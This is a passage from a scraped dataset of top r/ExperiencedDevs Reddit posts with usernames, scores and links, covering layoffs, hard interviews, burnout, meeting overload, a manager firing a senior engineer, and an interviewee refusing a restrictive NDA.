past experiences, challenges I've faced, impact I've made, mentorship I have provided, experience leading projects, etc. I didn't really do any prep for these as I'm pretty good at just bragging about myself and my accomplishments. ### Thoughts on the market Overall, the market is much cooler than 2021, but it's not a bad market right now. There's still _many_ companies hiring for Senior and Staff SE roles. A lot of FAANG isn't hiring right now, and Meta opened a lot of positions but reached out to me too late for me to consider them, but there's a lot of big tech companies outside of FAANG. For example Stripe, Block, Atlassian, Coinbase, Affirm, Dropbox, Snap, etc. are all hiring right now. ### Offers My goal was mostly to get on an interesting project and at the very least maintain the comp I was making. The offer I accepted was a Senior Software Engineer role with around a 13% bump in TC, which isn't bad considering my goal was to just break even. I didn't really see the trend of layoffs suppressing wages as is touted on this sub, as all of the offers I got were better (but not by a lot) than what I was making. It took me around 6 weeks to secure my offers, not counting my vacation. I start in mid-August, as I want to get some more traveling done this summer. ### Final thoughts Overall, not a bad experience. I didn't even run out of severance before securing a offer. Given all the doom and gloom and the AI articles online you would think that the market would be worse. But turns out if you're a strong engineer with a history of driving impact, are social and made connections at work, and practiced interviewing enough, there shouldn't be many issues in weathering a layoff. Feel free to ask any questions, I'll try to respond with advice or details as I can.",EngineeredCoconut,810,264,1688935983,/r/ExperiencedDevs/comments/14v9gkh/my_experience_being_laid_off_as_an_experienced/,https://www.reddit.com/r/ExperiencedDevs/comments/14v9gkh/my_experience_being_laid_off_as_an_experienced/,self.ExperiencedDevs,True,,,,, 15hczhr,ExperiencedDevs,Just failed a coding assessment as an experienced developer,"I just had an interview and my first live coding assessment ever in my 20+ year development career...and utterly bombed it. I almost immediately recognized it as a dependency graph problem, something I would normally just solve by using a library and move along to writing integration and business logic. As a developer, the less code you write the better. I definitely prepared for the interview: brushing up on advanced meta-programming techniques, framework gotchas, and performance and caching considerations in production applications. The nature of the assessment took me entirely by surprise. Honestly, I am not sure what to think. It's obvious that managers need to screen for candidates that can break down problems and solve them. However the problems I solve have always been at a MUCH higher level of abstraction and creating low-level algorithms like these has been incredibly rare in my own experience. The last and only time I have ever written a depth-first search was in college nearly 25 years ago. I've never bothered doing LeetCode or ProjectEuler problems. Honestly, it felt like a waste of time when I could otherwise be learning how to use new frameworks and services to solve real problems. Yeah, I am weak on basic algorithms, but that has never been an issue or roadblock until today. Maybe I'm not a ""real"" programmer, even though I have been writing applications for real people from conception to release for my entire adult life. It's frustrating and humbling that I will likely be passed over for this position in preference of someone with much less experience but better low-level skills. I guess the moral of the story is to keep fresh on the basics, even if you never use them.",codeprimate,802,556,1691089882,/r/ExperiencedDevs/comments/15hczhr/just_failed_a_coding_assessment_as_an_experienced/,https://www.reddit.com/r/ExperiencedDevs/comments/15hczhr/just_failed_a_coding_assessment_as_an_experienced/,self.ExperiencedDevs,True,,,,, 14rw3d9,ExperiencedDevs,After ten years I realize I hate programming.,"I've been in this industry since 2012, and today I just purged a huge backlog of books, websites, engineering forums, tutorials, courses, certification links, and subreddits. I realized I've been throwing this content at myself for years and I just can't stand it. I hate articles about best git methods, best frameworks, testing, which famous programmer said what about X method, why company X uses Y technology, containers, soas, go vs rust, and let's not forget leetcode and total comp packages. I got through this industry because I like solving problems, that's it. I don't think coding is ""cool"". I don't give a crap about open source. I could care less about AI and web3 and the fifty different startups that are made every day which are basically X turned into a web app. Do y'all really like this stuff? Do you see an article about how to use LLM to auto complete confluence documentation on why functional programming separates the wheat from the chaff and your heart rate increases? Hell yeah, let's contribute to an open source project designed to improve the performance of future open source project submissions! I wish I could find another industry that paid this well and still let me problems all day because I'm starting to become an angry Luddite in this industry.",L_Cpl_Scott_Bukkake,767,381,1688612860,/r/ExperiencedDevs/comments/14rw3d9/after_ten_years_i_realize_i_hate_programming/,https://www.reddit.com/r/ExperiencedDevs/comments/14rw3d9/after_ten_years_i_realize_i_hate_programming/,self.ExperiencedDevs,True,,,,, owi2bc,ExperiencedDevs,This morning a hard decision was finalized,"I'm a manager who is about to make a very tough call but I think it helps to share instances like this so we can talk about as a group. I have been managing ""Jeff"" for about 1 year, I took over this team after some products were moved around and this one fell to me. Jeff is the senior most technical person on the team, he's launched successful products for the company on numerous occasions and is without a doubt a subject matter expert in this domain. You can imagine that on paper, Jeff is highly valued. Previous managers have been giving Jeff raises and awards to incentivize him to stay. &#x200B; I came to this team to keep the ball moving and speed up some product work that was critical to the business. My instinct was to lean on Jeff and figure out how to support him - did he need to shielded more? need more senior talent? more interesting work? I spent about 6 months watching Jeff work, on a team of 8, and finally saw why this team was only producing so much. &#x200B; Problem 1: Jeff prevents others from growing. I don't think it's a conscience decision but he can never let go of another stream, one that he isn't responsible for. He constantly throws up roadblocks, insists his opinion on PR's is the only way and throws his weight around to enforce it. I've called him out on this but the problem has plagued this team. I have some wonderful mid-level engineers who are capable of being senior and are being held back because Jeff won't let go and doesn't trust other engineers. &#x200B; Problem 2: Jeff can't be wrong. A couple times Jeff mentioned a legacy reason for the cause of an issue but when we dig into it further and further, we tend to find out that's not entirely accurate. Jeff is unable to sympathize with the engineers who investigate something and it has created conflict. I've also brought this up and he doubles down on his defense. &#x200B; Problem 3: Jeff has built himself a hero culture. Product launches are his as are big bug fixes or technical debt wins. I have a suspicion people have left this team in the past is because it only succeeds when Jeff does. &#x200B; So today, I'm going against every previous manager and I'm letting Jeff go. On paper Jeff has done great work for himself and the company but it has been at the cost of other members of the team. While Jeff and I have talked through these problems, things aren't changing and I'm unwilling to see another set of folks leave for ""career growth"" . &#x200B; For all the Jeff's out there - I think you will be fine in the right environment, especially in an early start up. You'll thrive there, you'll be happy with the recognition and especially because the buck stops with you. &#x200B; For others who might think they're a Jeff. You can still hold strong opinions and have a strong desire to work on great products/projects but the best career advice I can give you is to work together. Don't cannibalize others growth so you can get the win, instead focus on solving problems together and learn how to inspire others with your work and collaboration. This is not zero sum, many people on a team can succeed at once. &#x200B; For others who work with a Jeff. Share your frustration with your manager that Jeff isn't pushing your growth but instead blocking your growth. I wish more team members told me this, it took me a while to see it myself. Some Jeff's are so used to having to do it all that they forget they're on a team. &#x200B; For those that manage a Jeff, hopefully the paragraph above sparks a conversation with you. As a manager you are responsible for a lot but your teams health is at the top. Find supportive senior members of the team and watch your products launch faster, with higher quality and most importantly, watch your entire team celebrate the win together. Nothing feels as good as that.",fatbutnottoofat,754,129,1627921592,/r/ExperiencedDevs/comments/owi2bc/this_morning_a_hard_decision_was_finalized/,https://www.reddit.com/r/ExperiencedDevs/comments/owi2bc/this_morning_a_hard_decision_was_finalized/,self.ExperiencedDevs,True,,,,, 1fnmx6s,ExperiencedDevs,I do not see any SWE in their 50s,"I am a SWE at FAANG. It is rare to see any SWE in their 40s let alone 50s. That is not that far away from my age. What is everyone’s strategy to stay relevant in tech until retirement? Edit: a lot of great responses. Didn’t think about how tech industry is new. This makes sense why there are not many people in 50s still working as SWEs. Edit2: a lot of comments about FIRE. Yes I know it is viable for many in FAANG to retire early. Then what? We are projected to live to 70s, 80s+. What are you planning on doing for 3-4 decades of your life? I sure hope I get to continue to build things for fun and make some money too if I can. I chose engineering cuz I actually like building stuff Edit3: people keep saying you can do whatever you want with 20M in the bank account. You must be young or not good at math or both. In what world are you saving average 20M making FAANG engineering salary? And retire early? Everyone I encountered in their 50s told me their career is not as long as they assumed it would be.",WeekendCautious3377,742,653,1727104589,/r/ExperiencedDevs/comments/1fnmx6s/i_do_not_see_any_swe_in_their_50s/,https://www.reddit.com/r/ExperiencedDevs/comments/1fnmx6s/i_do_not_see_any_swe_in_their_50s/,self.ExperiencedDevs,True,,,,, 13ohn5b,ExperiencedDevs,"Is it unrealistic to strive for a job that ""means something"" or is not a bullshit job?","Background: I have 7 years of experience since graduation, and did some part-time programming jobs while studying. I've been doing mostly mobile development, with small stints of backend stuff. I've been struggling with the meaningfulness of my job for a long time. I've worked for two large banks and a few smaller companies, both as an internal developer and as a consultant. In all these jobs, I've had a feeling that it doesn't matter if I do my job or not. In some cases, this has been very direct: I have worked on features that were scrapped as they were almost done. Sometimes, it's a more subtle thing, like working on a feature that I can't see any value in whatsoever. Most of the time, I feel like I have a bullshit job. I can blissfully ignore the feeling of dread, write awesome code and be super productive, or I can do nothing for an entire week, and the end result is the same - the apps are updated whenever there's stuff to update, all the while the apps don't really bring any meaningful value to anyone. What is ""meaningless"" to me? It's the feeling that whatever I've been working on doesn't bring any value (increase in productiveness, happiness, wealth etc.) to anyone. Take for instance this case I recently worked on: I was tasked to implement analytics for a large banking app. I spent four months implementing the tracking, fine-tuning everything until we got awesome reports. Then, after it was done, the business people said we're going to ditch the whole app and migrate some logic to a sibling app. The analytics was one that would need to be completely scrapped and re-implemented as it was impossible to move it as a module between the apps. Nothing was re-usable from the last four months, and those resulting reports were ignored because the app was being sunset. And that was just one case. There have been many of these in the past seven years. Even during my studies I implemented things that got scrapped either while I was still working on the thing or immediately after. Probably 10% of stuff I've worked on has been shipped. When I've been looking at job listings, almost all the jobs seem to be the same: work on this meaningless product that no one really needs. There have been some rare cases that do actually have a meaning, and they mostly focus on research projects - which in turn makes me realize that I have dug a hole for myself as I can't take a job that pays 20% of what I get paid now because that would not be enough to support my family. If I did have enough free time, I would try to find a non-profit for which I'd write code, be it apps or websites or anything. I hope that one day I can do that. In the meantime, I'm dwelling in this existential dread, feeling like my days are wasted doing these meaningless apps.",delicatedelirium,735,189,1684733696,/r/ExperiencedDevs/comments/13ohn5b/is_it_unrealistic_to_strive_for_a_job_that_means/,https://www.reddit.com/r/ExperiencedDevs/comments/13ohn5b/is_it_unrealistic_to_strive_for_a_job_that_means/,self.ExperiencedDevs,True,,,,, q7fboc,ExperiencedDevs,Can we just talk about how much Microsoft Teams sucks?,"My company switched from Slack to Teams right before I joined and it's been a pretty janky experience for all of us. I mostly use Discord and compared to that, Teams is just *bad*. Feels like something that was written in the mid 2000s. There's so many little things I wish Teams had that Discord/Slack implemented ages ago. * Quote replies * Emoji shortcut syntax (discords is `:<emoji_name>:` ) * Shortcuts to go to the search bar, and search bar filters like `user:` and `channel:` * Shift + hover over messages to access more options * Showing saved message per conversation, not just all of them in one big menu * Full markdown support, I find so much is missing in the text editor Then there's code formatting, which I'm sure we do more than most other Teams. I hate having to go through the code snippet UI. Just let us do triple backticks and type in a language like Discord. I see that they finally let you type to search the language, and have an option for wrapping, that's nice, wasn't like that a few weeks ago. And for the love of god let me paste stuff as plain text. I know about `ctrl + shift + v` but this should just be a flag in the settings Beyond that there's just ~weird bugs~ like disabling mobile notifications while I'm active on desktop barely works for me, and the setting gets enabled every update. If you're active on the desktop browser version you get notifications on mobile regardless of your setting. I *always* get a mobile notification for a Teams call even though I'm active on desktop. The message compose box has that god awful ""sticky"" quality to it. Where any custom formatting persists in an unitive way. And finally for the love of god let me group my Teams into folders. My company has a Teams Team for lots of different things, and putting them into folders would be a godsend. I guess what gets me more than anything is that Microsoft isn't some scrappy startup with 4 devs and a dream. It's one of the biggest tech companies on the planet and use their weight to undercut everyone else's prices. They wow over executives with how cheap Azure/Teams/Outlook is vs alternatives, then deliver stuff that's subpar compared to the competition. Anyway rant over. I wish we would go back to Slack. TLDR: Teams is bad, discuss your thoughts below.",Dunkeal,733,381,1634143770,/r/ExperiencedDevs/comments/q7fboc/can_we_just_talk_about_how_much_microsoft_teams/,https://www.reddit.com/r/ExperiencedDevs/comments/q7fboc/can_we_just_talk_about_how_much_microsoft_teams/,self.ExperiencedDevs,True,,,,, t0kz77,ExperiencedDevs,"Since switching to Scrum, my entire days are nothing but meetings","I work for a midsized company and traditionally we were Kanban. This approach worked well enough to the point where we were able to take the company public. After the company went public, we hired a new CEO along with a huge layer of middle and upper management. They decided that switching to Scrum was the best way to do our development work going forward. This is my third company that I have done Scrum with so I'm pretty familiar with it. However, since switching to Scrum the entire department has experienced one huge problem: all we do is go to meetings. Our daily standups are 15 minutes which is great. But then we have grooming for 1.5 hours, sprint planning for 1.5 hours, long retros, demos, process meetings, values meetings, side discussion meetings, PM meetings, 1 on 1's, department meetings, and all company meetings. For reference, prior to Scrum I had 3 hours of meetings a week. Now I average 13 hours of meetings a week. My manager had 14 meetings yesterday. Multiple people have said they don't even have time to do basic stuff like take a piss or eat lunch in between meetings and putting out fires. Lately I have been eating my lunch at like 3pm because there's just too much shit going on. We've retro'd about it multiple times and management doesn't care, the number of meetings has not gone down. I barely code anymore, nor does anyone else. It took over 2 months for our team to deliver 1 small feature that would have taken 5 days at my last job. Upper management has been ""concerned with our velocity"" so what did we do? We had another fucking meeting about it. I just had to get that off my chest. I'm going to start looking pretty soon for another job because honestly this is just hurting my career at this point. I pray the next place I end up doesn't use ""scrum"" as another excuse for meeting hell.",Bazooka_Joey,717,272,1645735653,/r/ExperiencedDevs/comments/t0kz77/since_switching_to_scrum_my_entire_days_are/,https://www.reddit.com/r/ExperiencedDevs/comments/t0kz77/since_switching_to_scrum_my_entire_days_are/,self.ExperiencedDevs,True,,,,, 11epkqb,ExperiencedDevs,What is your unethical developer career advice?,Let's make this sub spicy,CaptainAlex2266,715,520,1677632133,/r/ExperiencedDevs/comments/11epkqb/what_is_your_unethical_developer_career_advice/,https://www.reddit.com/r/ExperiencedDevs/comments/11epkqb/what_is_your_unethical_developer_career_advice/,self.ExperiencedDevs,True,,,,, 1hsuog3,ExperiencedDevs,"Junior dev relies on AI heavily, should I mind my own business?","I'm a senior engineer on my team. There's two junior engineers on my team: one tries to work through their issues, uses AI essentially as a search engine that doesn't get mad at you and another engineer who abuses ChatGPT for answers. The code reviews are obvious.. I see a lot of comments/documentation that are classic ChatGPT things i.e. // Set boolean value to true at the start // Trigger API call for current ID And then I see some robotic, but technically correct code. Once in a while there are issues, like I've seen a for loop that did nothing that was just inserted randomly in, so it feels like this dev is just copy and pasting whatever ChatGPT is spitting out. Sometimes it works, other times it's obvious this person isn't reading what they're writing. Would you privately address? Mind your own business and just make PR comments? I feel like I wouldn't have issues if I didn't make repeat comments like ""I'm not sure what you're trying to do here?"" and then getting a response like ""idk, I'll remove this"" more than once... edit: Love the discussion on this thread and I think appreciate a lot of takeaways. Mostly, the next time I see it in a PR I'll make my comments and bring it up in a private discussion. Reiterate that using AI isn't bad, but to be more careful on reviewing code and bringing it to our company standards. If there aren't any improvements on review requested code, I'll still make comments but flag it to my manager.",drugsbowed,712,399,1735932372,/r/ExperiencedDevs/comments/1hsuog3/junior_dev_relies_on_ai_heavily_should_i_mind_my/,https://www.reddit.com/r/ExperiencedDevs/comments/1hsuog3/junior_dev_relies_on_ai_heavily_should_i_mind_my/,self.ExperiencedDevs,True,,,,, 1e0ykks,ExperiencedDevs,"Took time off as Head of Engineering 2 weeks in advanced, day of I get pinged by CEO asking me why I'm not online","He emphasized that with my role, I should be available and present in the sense that I reply to messages in a timely manner. I replied by saying that I had already scheduled this time off, and that I was unable to even look at my phone until 10 PM that day. This has lead to a huge discussion about vacation and work life balance. Co-Founders keep linking me netflix culture pages on how they do great with a 'no vacation policy', but I can't help but think that I deserve the time off I requested regardless of conditions. I was available for emergencies only. Am I in the wrong here?",thecrazycatman,699,233,1720729085,/r/ExperiencedDevs/comments/1e0ykks/took_time_off_as_head_of_engineering_2_weeks_in/,https://www.reddit.com/r/ExperiencedDevs/comments/1e0ykks/took_time_off_as_head_of_engineering_2_weeks_in/,self.ExperiencedDevs,True,,,,, of4mj2,ExperiencedDevs,Unpopular opinion: Tech Twitter is a garbage heap,"I follow a lot of devs on Tech Twitter and honestly it's all junk now. Everyone on there has to be a content creator now, selling their books/courses/whatever. Or they post ridiculous engagement bait questions like ""What is your favorite JS library?"" or other such crap. Or there's the people who think they are motivational figures for new devs. There's one guy who constantly repeats the same story about how he went from frying chicken in a gas station to being a SW developer. There's an obsession with side hustles and monthly revenue and such, and they basically demonize the traditional path of working for a company. Long threads that are usually lists of websites or resources for new developers. If it's not any of that, they are piling on and trying to cancel someone because they dared to disagree with the mob or posted some bad take. People that switch careers into tech and suddenly they are thought leaders who conveniently are available for paid mentoring sessions despite having hardly any practical experience themselves. And don't even get me started about everyone complaining about how their request to be verified was denied and that means they are being oppressed. Or the entitled people complaining that they have to return to the office soon instead of permanently WFH. Or yet another fucking joke about centering a div. As a developer with 10+ years of experience I feel like there's nothing of value there anymore! I won't name names but at this point I have blocked or muted a few dozen people because I'm just tired of the same repetitive garbage.",The_Talisman,698,261,1625607109,/r/ExperiencedDevs/comments/of4mj2/unpopular_opinion_tech_twitter_is_a_garbage_heap/,https://www.reddit.com/r/ExperiencedDevs/comments/of4mj2/unpopular_opinion_tech_twitter_is_a_garbage_heap/,self.ExperiencedDevs,True,,,,, w4jba9,ExperiencedDevs,Unpopular opinion: I'm the most helpful onboarding dev I've ever worked with,"Is it just me or are most engineers *terrible* at onboarding and explaining new business context to other engineers? I feel like I'm on crazy pills that I've had to drag engineers at every new job over to a white board to draw me a diagram instead of assuming I've memorized the eight schemas, and their relationships, they've just rattled off. My very first day at my very first tech job, my senior engineer was constantly spewing ultra specific business terms. It was like getting blood out of a stone to get user-specific use-cases for problems we were trying to solve. Most conversations went like: Senior: ""We need to fix ***x***"" Me: ""What's the use-case and context?"" Senior: ""Oh, so ***x*** isn't broken"" ... yeah, no shit. But *why* are we even trying to fix it in the first place!? &#x200B; Fast forward to a job I just started and the person I've been buddied up with, while very pleasant and knowledgeable, we'll be on a pairing call for hours, most of which will be silently watching them code with me desperately trying to get them to talk about what they're doing. &#x200B; I've helped onboard a few principle level devs before. I made sure to have a glossary of terms prepared, have them type everything in our pairing sessions, up front time talking about *why* we're doing certain things and who will benefit, drawing diagrams, anticipating questions instead of waiting for them to ask, etc. I got nothing but complements on this, and I was just going off of common sense of what I wanted when I started. &#x200B; I just needed to rant about why engineers can be so unintentionally unhelpful. It drives me nuts and it's happened at **every** **place** I've started. &#x200B; Any one else had this experience or just me?",LowLvlLiving,694,210,1658416783,/r/ExperiencedDevs/comments/w4jba9/unpopular_opinion_im_the_most_helpful_onboarding/,https://www.reddit.com/r/ExperiencedDevs/comments/w4jba9/unpopular_opinion_im_the_most_helpful_onboarding/,self.ExperiencedDevs,True,,,,, up0fsa,ExperiencedDevs,My story of joining the Great Resignation,"Twenty years into my software engineering career, I have decided I had to take a break for my mental health. I became part of the Great Resignation of the Early 2020s (I hope the history books phrase it, and capitalize it, just like that). One thing I never felt until the last couple of years was burnt out, which was hard to understand considering I’ve always felt I’ve done a good job of respecting my own limits as far as how much time I’m going to devote to my job. I ran across a tweet recently that accurately articulated what I’ve been going through: “I always thought burnout happened when you work too much. Now I get it. It's investing emotionally and then not getting a return on that investment.” https://twitter.com/spamaps/status/1523823022779420673?s=21&t=cpEcSDMGNMN7XIW5U0V3vg There were a lot of crucial career moments leading up to this, but one in particular stands out for me. I was working at Tableau, which started out like my dream job. After scuffling around for a long time and seeming to struggle to find the right environment, Tableau hired me on as a senior engineer working on the front end of Tableau Server; basically, making visualization features work in the browser. The hiring manager was so excited to hire me; he told me he wrote “HIRE THIS GUY” in big letters on my resume when he passed it along to HR. (He was my manager for no more than a few weeks, after which he decided managing wasn’t for him and he needed to go back to being a developer. This has also been a sad recurring theme in my career.) Tableau was so exciting for me because for the first time, an organization actually seemed excited about what I could do for them. The first feature I worked on was Geographic Search, a search widget on maps that allowed the user to search for locations, get some autocompleted suggestions, and zoom the map there by selecting one; pretty typically, similar to what you’d see on Google Maps. Our scrum team was about halfway through the feature when leadership demoed it at Tableau Conference in 2014; this was live, working code, not a prototype. And it worked! And people applauded! Thousands of people, right there in the Washington State Convention Center! I couldn’t believe it; I had never personally worked on something that was that popular and gotten to see a live reaction like that. Typically, the excitement level for new features and delivering them well was very high in my first couple of years at Tableau; it wasn’t unusual for product owners and engineers to cheer and applaud when things were going well, even in regular meetings. I would count the number of times I heard “super-excited” in meetings, and we usually hit the over. As months passed and we started to work on new things, I took on more leadership roles. I acted as scrum master for a new team, working hard to make sure we worked efficiently and communicated well with each other. I implemented test-driven development, in an effort to make sure we had good test coverage for all our features (something that had been lacking in the past). We shipped some redesigned quick filters in 2015 (which wound up getting scrapped), and a data highlighter widget in 2016. Tableau continued to grow its engineering organization, hiring tons of new developers and managers, and every so often, launching into a reorg to try to make the grand hierarchical pyramid make sense. Meanwhile, the leadership in our area had done something I didn’t like; they had demoed unfinished code at Tableau Conference. In fact, they did it two years in a row. The feature, Viz in Tooltip, was something of a white whale for the Visualization team. It would allow users to shows miniature visualizations inside of the pop-up tooltips that appear when hovering over a data point in a viz. The prototype version made them excited, and it made their bosses excited, which made them want to ship it now now now. Of course, the prototype was nowhere close to shippable. It only worked on Tableau Desktop, and even then was pretty rough, making heavy use of the Windows temp directory to store images. There had been no guidance or thought put into how to make it work for server. The prototype version had the Tableau platform “on board” and could make requests for new visuals, and just dump the images in the Windows temp directory for quick viewing. Tableau Server had to communicate with the platform via HTTP requests/responses, which meant we somehow had to request the proper visualization, serve it up to the front end, and display it and lay it in properly. It was in this state that it was handed to me, as scrum master of a new team. And during the initial planning meeting, the product owner suggested this was something we could do in six weeks. Oof. So, it definitely was not. Even the smallest of features took longer than that to deliver in Tableau, a mature and complex product with lots of layers and engineering challenges at every turn, and a company with growing levels of chaos and process to follow. It was clearly going to be several months, probably the better part of a year, to design and deliver all the pieces we needed to make this feature happen on Server with any kind of quality. I told my boss that the product owner’s idea of six weeks was crazy, he said, “Well, let’s hear him out!” That’s when you know you’re in trouble, organizationally speaking; the pressure to deliver some too fast, washing down onto the devs without any pushback or filtering, is always a bad sign. Figuring out the architecture for Viz in Tooltip on Tableau Server was going to be one of my biggest challenges of my career, so far; I sat down to sketch out how this feature might be designed. And, over the course of a few days, came up with something good! Tableau Server’s back end was Apache Tomcat, which allows you to rewrite the rules for processing requests that come in from the front end. I drew up how we could do that in the Java layer, call into our C++ platform to generate the image in the background, block on fulfilling the image request until it was ready, then complete the request by serving the image to the front end once it was ready. On the front end, we needed to specify which image to show inside the tooltip; I devised a way to sending a lot of parameters by attaching “data” attributes to the image tag, then a relatively new HTML5 feature. After writing up a long proposal explaining the workflow from the front end (C# code that compiles in to Javascript, a method for writing front-end code that preceded the advent of Typescript), to the Java layer, to the C++ layer using JNI (Java-Native Interface), then back to the front end, I set up a meeting with the best engineering minds in our organization to make sure I was on the right track and generally get them to sign off on my ideas. After that, we got to work; I wrote the bulk of the front-end code, did all of the Java work, and figured out how to write a C++ interface that would allow us to re-use some of the same image generating code for both Server and Desktop, reducing code duplication. I also wrote most of the tests, leaning a little heavier than usual on end-to-end tests for the feature that had so many moving parts across so many layers; in this case, Java tests using the Selenium framework. While doing all this, I was also serving as scrum master, running all the ceremonies, making sure that everyone was on the same page and that everyone knew what was required of them. Part of the way through delivering all this, I sat down with my boss and asked him to consider me for a promotion. Tableau at the time had Senior- and Staff- level engineers; I had gotten to the point where I was pretty clearly going to successfully be shipping this complicated feature with little guidance from leadership, while also running the team’s day-to-day operations. He responded by handing me a printout explaining what was expected at all the different levels; of course I already knew about this, and already felt like I had fulfilled what was necessary for Staff. A few months later, closer to annual review time, I e-mailed my boss to ask again if he was considering me for a promotion; I got no response (we didn’t have the term “ghosted” then, but it was that). I eventually had to track him down in a conference room in our building, sit and wait for him to finish a meeting, and ask point-blank about it, face to face. I got a wishy-washy answer. These were all Bad Signs. Meanwhile, the feature turned out great; in fact, it felt like a masterpiece. Once we shipped it, we never saw any serious bugs filed against it, despite all the complexity. Leadership had been worried about overloading Server with too many image requests or image processing cycles, but we were careful about debouncing requests, so those worries proved to be unfounded. I will never forget the day I demoed it to the area leadership in a big conference room in Tableau’s big new building in Fremont, because I was so excited to show off the working final product. But then, after showing it off, my heart sank a little bit; the room couldn’t have been more unexcited about the demo. I couldn’t really understand it; something had happened to our morale, or maybe the promise of a cool new feature isn’t as exciting to leadership once you’ve actually done all the work to deliver it. Whereas in years past my co-workers would have been “super-excited” to see the feature shipped and cheering and clapping, this room was dead; I felt like a stand-up comic who had wandered into the wrong open-mic night. We shipped it; it was great. The feature became one of the centerpieces of the next Tableau Conference. I didn’t get promoted; I left the team a few weeks later to try something else. I wish I could say that experience was uniquely bad; sadly, it appears to have been more like par for the course. Despite taking on more leadership roles and repeatedly shipping major products and engineering initiatives, I still got regularly ghosted and lied to; it happened on the next two teams I worked on, until I finally left. I had an especially hard time during the pandemic and working from home, when it was apparent I was being lied to by my boss and skip-level boss through Zoom; there was nobody to talk to or confide in, and my stress levels made it really hard to prepare or get through a job search. I suffered through a lot of sleepless nights, wondering if I’d ever make it to the end of the Hell tunnel. I started coding for fun at age 7; that was almost 40 years ago! I still relish the thrill of building something great that works, whether it’s on the job or on my own time, and I’ve enjoyed working on a bunch of different things. But repeatedly dealing with managers who just could not care less about the effort I put in, or who flat out lie to me, has taken its toll. It just always feels so disrespectful when it happens, because this is my life’s work. I spend a lot of time and careful thought on how to do my job the best way, and it takes up a lot of my life; that just does not seem to matter to these tech companies, especially as they grow into big hierarchies. Whatever it is that they respect, it’s apparently not what I have to offer. All I can do right now is enjoy this vacation, and hope that I’ll be able to get my morale back up enough so that I have the energy for a job search. But for now, it’s time to unlock these handcuffs which lately have just felt like shackles, and just live my life.",LusciousJames,687,107,1652473144,/r/ExperiencedDevs/comments/up0fsa/my_story_of_joining_the_great_resignation/,https://www.reddit.com/r/ExperiencedDevs/comments/up0fsa/my_story_of_joining_the_great_resignation/,self.ExperiencedDevs,True,,,,, 1emevfz,ExperiencedDevs,Cheating interviewees epidemic,"I am on an interview panel for 5yr+ experience software engineering positions on my team and 85% of the people we interview are reading from a chatbot or are having someone voice their interview while they poorly mouth over them. I don’t get to choose the candidates being interviewed (HR reviews and then sends a short list to our management team who decides) but when I look them over before the interview it all seems legit. Within seconds you can spot them cheating and it is the biggest waste of time. I feel awful seeing experienced developers post here having trouble finding jobs and just wonder how the hell we keep interviewing the duds. What’s the game plan if these people get the job?? You can spot it right away with delays in answers, then constant eye scrolling for every response matching Google results. When we get the people mouthing someone else’s answers it’s a shame because whoever they hired to give the interview I would love to speak to directly lol I’ve been begging our management to send a quick coding assignment just to assess skill level before we interview but HR won’t allow it. Big corporate nonsense -_- I just saw a post on the unethical life pro tips subreddit recommending using the chatbot and commented for the love of God don’t do this it’s a waste of my time and so obvious. Anyone else having the same experience? Our positions are hybrid so in office attendance is required but not a senior role so maybe that’s why we get a lot of crap. ",floop_unfloop,686,395,1723044754,/r/ExperiencedDevs/comments/1emevfz/cheating_interviewees_epidemic/,https://www.reddit.com/r/ExperiencedDevs/comments/1emevfz/cheating_interviewees_epidemic/,self.ExperiencedDevs,True,,,,, 11axmek,ExperiencedDevs,You know those interviews ....,"that ignore 14 yrs experience and it comes down to a 40 min on the spot programming problem at 9 am where the ask is ambiguous, there are edge cases that they dont even think of, and in the end they want it done their way ..... fuck them. Interviewing is such a shit show. Most places can't find good candidates b/c their interview process is completely broken and they refuse to acknowledge or fix it.",akaTreyT,681,290,1677261611,/r/ExperiencedDevs/comments/11axmek/you_know_those_interviews/,https://www.reddit.com/r/ExperiencedDevs/comments/11axmek/you_know_those_interviews/,self.ExperiencedDevs,True,,,,, 11xq5cz,ExperiencedDevs,The developer job market is insane right now,"The post-Covid developer job market is absolutely insane right now. I've been in the market for a couple of months, and I have no idea what employers are looking for. Applied to 200+ positions at this point, interviewed with a handful. Take this position I'm currently interviewing with for example: **Job** * 6 month contract * Looking for senior engineer with 8+ yrs exp * $65/hr 🙄 *(whatever, I'm desperate)* **Interview Process** * Initial 30 min phone call with recruiter (standard) * 30 min pre-tech screening call with architect * 30-60 min interview with hiring manager (actual client) * 60 min technical interview with team * 2nd 60 min technical interview with team * Final interview with some higher up *For a 6 month contract.* I have 10 years of experience desperately looking *for something*. I need work. The W2 positions are worse. Most companies I've interviewed with want to put you through their 7 step interview process along with 3 hacker rank challenges of death, a timed personality mind-bender quiz that has nothing to do with development or culture, whiteboard design sessions, 2 final interviews with the VP. *All for one single position*. And then to get rejected for some obscure reason. I don't know, maybe the bosses nephew got the job. I mean I get it, you have to vet your people. But damn, recruiters and companies need to re-evaluate the effectiveness and ridiculousness of their hiring process. It's sometimes worse if you have to go through a recruiting company, because most of the time the discussion with the recruiter goes extremely well. The conversation is fluid, you seem to tick all the client's boxes and more. But at the end of the day, the recruiter is not technical, and the recruiter is not the one doing the hiring. They are only screening you. So the conversation goes really well, you get your hopes up, and then the client process is just extremely off-putting. Anyone have any luck landing a position recently? If so, what was the trick?",dbro129,677,458,1679424193,/r/ExperiencedDevs/comments/11xq5cz/the_developer_job_market_is_insane_right_now/,https://www.reddit.com/r/ExperiencedDevs/comments/11xq5cz/the_developer_job_market_is_insane_right_now/,self.ExperiencedDevs,True,,,,, 12slxea,ExperiencedDevs,An update on my post from last week about signing an NDA that prohibited me from ever mentioning my thoughts on a company's interview process.,"Thank you all for your thoughts on my last post I really appreciate it :) In case you missed my first post: [https://www.reddit.com/r/ExperiencedDevs/comments/12kvtcp/signing\_an\_nda\_that\_prevents\_me\_from\_talking/](https://www.reddit.com/r/ExperiencedDevs/comments/12kvtcp/signing_an_nda_that_prevents_me_from_talking/) After I turned them down because of the NDA, they asked me to talk to them to reconsider. After which I sent them a reply saying unless they change the NDA to only include protecting their confidential data, I wanted to be removed from their interview process. He replied that an NDA like this is standard in the industry and to reach out if I change my mind lol. So now that that's over with, I feel okay sharing the company in question: Chainlink Labs. Basically a blockchain company that works with smart contracts. So like I said in my last post, not exactly crypto, but crypto related. I'm not gonna share any of the actual documents they gave me as my lawyer George Preston Thomas the 4th told me that they can still be considered sensitive documents, but I will describe the documents and the things I found in them. He has also advised me to say that this post is based on my personal experience and opinions, and I'm not stating anything here as explicitly fact. I gave the NDA one more look and I completely missed that there is also a non-disparagement clause in there, completely separate from what I mentioned in my first post. Honestly that's crazy to have an interview candidate sign an NDA with a non-disparagement clause. It's totally just snuck in there too in the middle of a rather lengthy section. That leads me to believe that their weirdly high glassdoor rating is a total sham: 